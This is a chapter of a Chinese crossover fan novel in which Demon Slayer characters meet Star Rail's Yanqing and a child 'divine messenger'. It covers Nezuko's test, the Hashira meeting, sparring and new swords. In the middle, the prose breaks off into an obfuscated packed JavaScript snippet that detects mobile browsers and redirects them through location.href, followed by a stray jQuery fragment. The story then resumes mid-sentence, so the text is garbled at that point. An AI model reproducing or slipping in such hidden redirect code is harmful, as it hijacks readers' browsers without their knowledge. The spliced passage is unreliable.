76.刀匠要追杀过来了!
作品:《我当精神病那些年[综崩铁]》 众所周知,无惨很能苟。
平安时期群魔乱舞,他苟到那些力量体系衰败才出来搞事;战国时期被砍成臊子,他苟到那名剑士老死才敢重新冒头。
直到现在,他还禁止鬼对外说出他的名字,否则他赐下的鬼血会直接将他们撕成碎片,比被日轮刀斩首还要死。
产屋敷现在甚至不知道他长什么样,剑士们就算在街上遇上了无惨本人恐怕也不见得能认出来。
所以,想要杀死无惨,难的不光是拥有杀死他的能力,更是在能够杀死他后,真正找到他!
小醒继续啃面包片看戏。
“所以……你们想让祢豆子……当诱饵?”
炭治郎的声音有点颤抖。
两个声音在他脑中争吵。
一个声音说,答应吧,鬼杀队成员都和鬼有仇,除非能帮到他们,否则他们可能不会容纳下祢豆子的存在。
另一个声音说,不能答应!当诱饵随时都可能会死!而且祢豆子是人!就算变成鬼了她也是人!他不能替她做这种决定!
一时间,少年脑海中天人交战,本就伤得不轻的身体在此刻更加脆弱,冷汗源源不断的从额头和后背滑下来。
“不行!”他鼓起勇气喊出来,“我寻找无惨就是为了把祢豆子变回人,不会拿她的生命做……”
后面半句他没说出来。
因为祢豆子扯住了他的手指,轻轻摇晃。
他闻到妹妹的情绪,嗓子卡壳。
她说,她愿意当诱饵,救下更多的人。
“……祢豆子……”炭治郎声音发抖。
“不用废话了!”不死川实弥突然冲过来,一把拎起祢豆子的衣领!
“!放手!!”炭治郎抓过去。
谁料风柱竟一把将他推开,“滚远点!”
“我可不相信有鬼愿意站在人这边!!!”他面目狰狞,脸上的疤痕拧成可怖的形状。
“鬼的一切外表都是伪装,没有鬼会放弃吃人!!!”
说罢,他一脚将祢豆子丢到树下,拿出日轮刀……
却不是刺向女孩,而是在自己左手手臂上划出一条长长的伤口!
“我是稀血,任何鬼闻到我的血都会原形毕露!”
他将手靠近祢豆子,嘴却咧开大笑,仿佛是迫不及待想看见她失控伤人的景象。
香味,浓郁的香味从伤口里涌出来,争先恐后地钻进女孩的鼻子。
没有鬼能在顶级稀血的诱惑下面不改色,原始本能正在被唤醒,她的眼睛已经出现竖瞳,口水也不断分泌出来,从下巴和竹筒处往下滴。
“住…住手!!!”炭治郎挣扎着爬起,但刚起来又被一刀鞘给拄在地上。
炎柱睁着他那火一样的大眼睛,一身正气地说:“灶门少年,这是我们对灶门少女的考验!你是不可以帮忙的!”
“这不公平!”炭治郎很愤怒。
让稀血来考验祢豆子不公平!如果换作五六岁的饥肠辘辘的他们面对一桌只有贵族才吃得起的超级好吃的饭菜,根本没有多少人能忍住!
“不用去拦吗?”彦卿凑到小醒耳边,小声说,“你好像不希望那个鬼女孩死掉。”
小醒的回应是把下一片面包片塞进他嘴里。
吃你的就行了,不用管那么多.jpg
彦卿:……
彳亍。
他拿下面包片开始吃,嚼嚼嚼,嚼嚼嚼……
呃,好干巴,浅偷蘸一点牛奶和蜂蜜。
那边,祢豆子面对稀血的诱惑,竟然出人意料地遏制住自己的欲望,把头偏了过去。
不死川实弥一愣。
随即反应过来。
“吃啊!你这是什么反应!”
他不断把伤口往女孩嘴边凑。
吃!给我吃!我不承认这世上存在不吃人的鬼!!!
“够了!!!”
眼见祢豆子已经通过考验,炼狱把炭治郎放了出来,中止了不死川的“加试”。
不死川不悦地转过来,迎面被……
被一个头槌砸下去了!
“哎?!!”蜜璃捂住嘴巴。
风柱居然……居然被人用头砸倒了!
而且好像还晕了!等一下,他在口吐白沫!
还有伤口,伤口还在流血啊啊啊——
隐们尖叫着出来七手八脚地把他给抗走了。
彦卿摸摸自己额头,貌似还有点幻痛。
这个普通人的脑袋……真的很硬啊!被砸到眩晕真不是他的问题!
灶门·始作俑者·炭治郎,正毫无悔意地呼呼喘气。
脑袋……很晕,之前透支身体和砸彦卿的后遗症还没过去,现在又敲了人,感觉浑身轻飘飘的,看人好像还出现了重影。
不行,不能倒下!祢豆子还没安全!
“好了,各位。”主公觉得差不多了,“我想大家已经看见了,灶门小姐不光能触碰阳光,还能拜托无惨的控制和鬼的本能,拒绝不死川的血液。其中意义,相比已不用多说。
“所以接下来的时间里还请各位接纳这个女孩,在她失控吃人之前,她也会是我们的一员。”
炼狱杏寿郎同意:“既然主公都这么说了,我当然是支持了!”
蜜璃有点开心:太好了,不用杀掉这个可爱的小妹妹了!
无一郎依旧在神游:啊,云从小鸭子变成大鹅了……
“恕我直言,这样还是太冒险了。”伊黑小巴内给出了不同的见解。
“她一出现就会引来无惨的反扑,藏在本部才最安全,可这里的人都很重要,要是伤人的事已经发生了,就算杀了她也无法挽回吧?”
“那我会亲自动手,然后切腹自尽!”炭治郎喊道。
“祢豆子是我的妹妹,我愿意用性命为她担保!”
小巴内刚想说你一个底层队员能担保什么,就见义勇也站了出来。
“我会一起担保。”
“……”
你也来?哦,感情他是被你推荐进鬼杀队的啊?
“好了。”蝴蝶忍保持着微笑,“大家,这孩子的伤还没好,需要时间来修养呢。
“灶门兄妹的事就听主公的安排吧,这个问题也暂时告一段落,现在主公还有更重要的事要宣布呢。”
“哎?”炭治郎眨眨眼睛,真的就通过了吗?
然后他也被隐成员扛起来回蝶屋了,祢豆子也被装进箱子带回去了!
哎哎哎?
接下来的是不能让他们听见的吗?
——那确实。
不仅仅是炭治郎,其他的后勤人员也都被遣散了。主公要保证知晓这件事的只有他、他的妻儿和众柱,就连柱们的继子都不能听。
“现在说可能会有些突然,但不久前,我们迎来了一位能够预知未来的神使。”
他将胳膊展向小醒,让他们的目光全都转移了过去。
还在吃东西的小醒:……
他默默把手上的面包片咽下去,用纸巾擦干净嘴。
主公接着说:“他正是为了消灭无惨而来的,接下来,鬼杀队将以他的预言为标准行事。此事事关重大,有关预言和他的存在,你们切不可对外透露半分。”
“是吗?”炼狱大哥不疑有他,“这么小的孩子就已经是神使了,真是令身为大人的我愧疚,想在地上凿一个洞钻下去!”
‘不要用这种正直的语气说愧疚话啊!’彦卿觉得有点尴尬,‘不觉得违和吗!’
显然其他柱早已习惯炼狱的说话方式,换句话说这一堆柱里就没有几个说话是正常的。
比起他的尬言尬语他们更关心主公是不是被骗了。
“主公,恕我们直言,他已经做出过有用的预言了吗?”宇髓天元问,“虽然穿着非常华丽,但他看起来完全就是个小孩子啊!神明会让这么小的孩子来当神使吗?”
“神的意思我们无法揣测,但他在几天前便向我发出预警。”主公说,“那田蜘蛛山的下弦鬼,就是他最先说出来,让我派遣蝴蝶和富冈去斩杀的。”
“可我记得那边的鬼不是他们杀的。”伊□□,“有更强大的存在夷平了那里,鎹鸦说天上掉下了一把巨剑。”
小醒肘了下彦卿:听到没,说你呢,你动静太大了。
彦卿汗颜,真的不是故意的!
咒术师和异能者的身体都挺结实的,他还以为鬼杀队也这样呢!
“那正是他的同伴所为。”主公没有看见他们的眼神交换,“这位……束着长发的少年,是一位数一数二的武者。我有幸得他认同,日后他会辅导改进你们的呼吸法。”
“是吗?”音柱直接把背上的双刀卸了下来,“那就让我来试试吧!”
“却之不恭。”彦卿走上前,拔出长剑。
在场无人阻拦。他们都清楚,能成为柱的人无一不是现今呼吸法某一脉的佼佼者,武艺是力量也是骄傲。突然让他们跟着一个陌生小孩练武,就算说他们都是所谓的神使,他们也是不服的,这是人之天性。
宇髓天元很快就和彦卿打了起来,不小的院子甚至有些施展不开。
蝴蝶忍看起来并不关系这场切磋的结果,而是低声问孩童:“今天过后,你便带我去见那个人吗?”
“嗯。”小醒把蜂蜜罐放回虚数空间里,“但我的刀还没到。”
——鬼这种东西,要晒太阳或用特殊材料做的武器砍断脖子才会死。他倒是有办法逃课,但现在鬼杀队整体实力不足,不是暴露身份的最好时机。
他让鬼杀队给他们各自打了把刀,彦卿的是长刀,用来伪装成普通人,他的是短刀,藏在衣服里备用,毕竟他现在的身份是“神使”。
所谓“神使”,也是主公和他商量好之后编出来的,因为他们从来就没指望他的存在永远透不出风声。神使不是人,和鬼也没有仇恨,不可能一直待在人间,这样既能降低无惨的警惕又能解释他力量的来源,对一群平均学历识字的人来说非常适用。
等到时机成熟,这层身份自然会被揭去。
音柱和彦卿的比试算得上是一场具有观赏性的表演。
一开始两边都在试探,后来逐步推进,彦卿开始步步紧逼,几乎没给音柱留退路。
结果对方大喊着“我的乐谱完成了”就冲了上来,还不知道从哪来掏出一堆炮仗无差别轰炸,硫磺、响声和烟尘把人的感官都干扰了,局势迎来反转。
结果彦卿不慌不忙,反手又抽出第二把剑,一手一把改变招式,将他的乐谱打乱,并在他还没来得及再次扒谱前打飞了他的武器。
宇髓天元手指发颤,虎口和肩膀关节都被震得发麻,但还是爽朗大笑,夸赞道:“不错不错,真是好功夫,你的实力我认可了!”
彦卿笑笑,抬剑一挑,把他的刀丢了回去。
宇髓天元接过刀,对后面喊:“炼狱,到你了!”
“这么快就结束了吗?那就让我也来试试吧!”
炼狱杏寿郎兴致勃勃地拔刀,接替了音柱的未知。
比起那位华丽的朋友,他的呼吸法要耀眼得多,刀锋之间仿佛有火舌流转,就连落花的切面都泛着烧焦的黑色。
这股炎热让彦卿想起在凡刮尔兰星系打原始博士追随者的时候,那些敌人在改造后的小型岩球兽肚子里装满岩浆和强酸,一丢就是一大片,好些将士的头发都被烧掉一大截。
短生种能靠意志力做出类似的效果,很了不起。
可破绽还是太多了,他感觉对方的呼吸法并不完整,招式衔接时会有瞬间的卡顿,只是这卡顿时间很短,寻常视觉几乎捕捉不到。
他没有直接靠着力气将炎柱打飞,而是瞄准一个破绽的瞬间,将其击溃。
炼狱也吃惊:“嗯?”
“什么,居然能发现我自己都不知道的缺点吗?这份观察力和应变力真是让我惭愧得想钻进地里去啊!”
连着两场切磋,彦卿既没有用命途之力,又没有用高科技,这是一场单纯的武艺和战斗经验的较量。
“彼此彼此。”他挽了个剑花,说。
一只公鸭嗓鎹鸦飞出来:“他说彼此彼此,嘎。”
主公抬手接住那只鎹鸦,道:“相信现在已经没有人质疑他的实力了。彦卿阁下不擅长使用我们的语言,以后他说的话会由这只鎹鸦转译。”
被用了剩余不多的联觉信标·身负重任·鎹鸦:“嘎,不用谢。”
小醒:……
其实之前选鎹鸦的时候他就说了,有没有声音好听一点的鎹鸦。
可事实证明上天为你开一扇窗的时候,一定会帮你把门焊死。声音好的鎹鸦要么是体力不够要么是胆量太小,少数几个完美的早就被队员们分走了。
没关系,反正用鎹鸦的不是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017598|184612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,让彦卿尴尬去吧。
(彦卿:其实我也好吧算了我的感受不重要……)
给柱们介绍好他们后,本次柱合会议算是正式结束了。柱们还有自己的任务和私事要干,排时间也要排一两天才能开始集训。小醒和彦卿先回了蝶屋那边,签收锻刀村加急送来的刀。
那个送刀的大叔带着一个丑巴巴的火男面具,双手挥得跟海带一样:“快试试快试试,这两把刀可是我和我哥连夜做出来的,他累倒睡觉去了,我一定要替他看你们拔刀!”
“……辛苦你们了。”
彦卿露出一个微笑,将手放在刀鞘上,轻轻推出了刀。
他惯用剑,但其他常见武器也都学习使用过,换成刀也能照常战斗,不会出现忘记手里的是刀从而用刀背砍人的情况。
不过听闻锻刀村锻刀能定制,他便叮嘱他们将刀制成更长更直的样子,仅靠近刀尖的三分之一开了刃,削铁如泥,吹毛断发。
这种刀在仙舟被称为“雁翎刀”,比起鬼杀队队员惯用的太刀,它的上手门槛更高,但攻距远,功能多,用得好了杀伤力不容小觑。
彦卿将刀鞘推去,握住刀柄,只见一模亮眼的冰蓝色从刀柄开始逐渐蔓延上银灰的刀身。
刀匠瞬间失望:“不是红色啊……”
“这些颜色有什么讲究吗?”彦卿问。
“那是一个流传于锻刀村的古老传说……”刀匠又开始挥舞他的面条小手,神秘兮兮的样子。
“传说,在所有的刀身颜色中,红色是最强的!我们锻刀匠都以能锻造出变红的刀而骄傲!”
“……”彦卿眨眨眼睛,看向小醒:“我之前看见柱的刀身颜色都不一样,想来应该是由使用者决定的吧?那……”
“怎么可能没有关系!!!”刀匠直接炸了,顶着火男面具就拄了上来!!!
“哇!”彦卿被他的性情大变吓了一跳。
可刀匠最讨厌的就是有人质疑他的能力!
“我可是学会了祖孙五辈锻刀精髓的最强刀匠!就算刀的颜色是剑士决定但那也是我们选定的剑士!缘分是很重要的,只有最强的刀匠才能遇到最强的剑士,锻造出刀中的传奇!!!”
“……呃…这样?”
他都没怎么和锻造武器的工匠深入交流过,原来他们的想法是这样的吗?
话说,他好像一直在买剑,但没有去工造司私人定制过剑来着?嗯……要不以后抽时间去朱明问问吧。
“啊,但是蓝色和红色差得也太多了……”刀匠蔫下去,“难道我一生都遇不到能让刀变红的剑士吗?呜呜……”
“……”彦卿回以抱歉的微笑。
不好意思啊,他或许就是不适合红刀呢。
不过这儿还有一把没定色的啊!
“小醒,不试试吗?”
“没太大必要。”他早就看到了。
尽管如此,孩童还是拔出了刀。
这是一把水果刀大小的小刀,刀柄也适配他的手掌大小做了缩放,藏在外套或绑在裤子里基本看不出来。
收到要求的时候刀匠也很纳闷,这么小的刀真的能砍断鬼的脖子吗?感觉只能勉强割喉啊。
只有小醒清楚这么定制是为了什么,就是单纯方便掩盖身份,在打倒恶鬼后好直接杀掉罢了。
他不想坐在鬼旁边等天亮,那样很无聊,也很……煎熬。
不出意外,他的刀是黑色的。
“怎么又是黑的啊!”刀匠绷不住。
“又?”彦卿问。
“啊,就是这一届新剑士里,就有一个是黑刀啦!好像是叫什么……鱼糕郎?”刀匠告诉他,“这种颜色是最少见的,而且也不知道到底适合用哪种呼吸法,通常都没什么成就啦!
“你看他,差点死在鬼手里不说,还把刀弄断了!说起来他的刀匠今天就过来算账,这个时候应该也到了。”
话音刚落,外面就传出炭治郎的尖叫。
“对不起——我真的不是故意的——下次不敢了…啊————”
彦卿:……
“看得出来,你们都很珍惜自己锻造的刀。”
“那是必须的!”刀匠很自豪。
交付完刀后锻刀村的人就走了,彦卿将长刀装回刀鞘里,问:“小醒,你准备学他们的呼吸法吗?”
“嗯。”
“……为什么啊?”
“因为帅。”
“……”
好像…很难反驳!
“既然只是为了好看,那你可以试试去学你最喜欢的那些。”他说,“但要注意点身体,我发现呼吸法对健康有害。”
鬼杀队所用的呼吸法,本质是通过短时间吸入大量氧气,短暂提高身体素质来让剑技发挥出最大的用处。
这个秘诀看起来很帅很强,但实际是透支身体换力量的做法,长时间使用下去会造成关节和肌肉疲劳,器官寿命减短,到了晚年更是并发症无穷,浑身哪哪都痛,器官衰竭也不是没可能。
“我们偶尔用一用没有太大关系,但短生种的身体……哎,我准备帮他们改进一下呼吸法。那些柱和甲级的队员已经用惯了,一时半会改不过来,但下面的普通队员总是来得及的。”
“他们不会甘心的。”小醒挠挠奇美拉的下巴,说,“呼吸法带来的提升很明显,绝境时别无他法。”
“……我知道,但能救一个救一个。”
鬼杀队的队员们拿命去给普通人拼一个安宁的夜晚,他总不能眼睁睁看着他们折寿病死。
“说起来,刚刚刀匠说,那个炭治郎的刀也是黑色的吧?要不你去请教一下他用的呼吸法?”
“有这个想法。”小醒站起身。
日之呼吸确实是最帅的,而且作为始祖呼吸法,只要掌握那个,其他的特效他也能copy了!
“但现在不能去。”
“……嗯?”
“他正在挨打。”
“……”
对哦,炭治郎现在还在挨刀匠的打呢。
说着,外面又隐约传来尖叫:“啊!真的对不起!非常对不起——”
“……”彦卿和小醒对视一眼,都从对方眼中看到了无奈。
明明身受重伤起床都费劲,却还是能在刀匠追过来的时候提起力气逃跑吗?
他们自己人闹别扭的时候……也是活力满满呢!

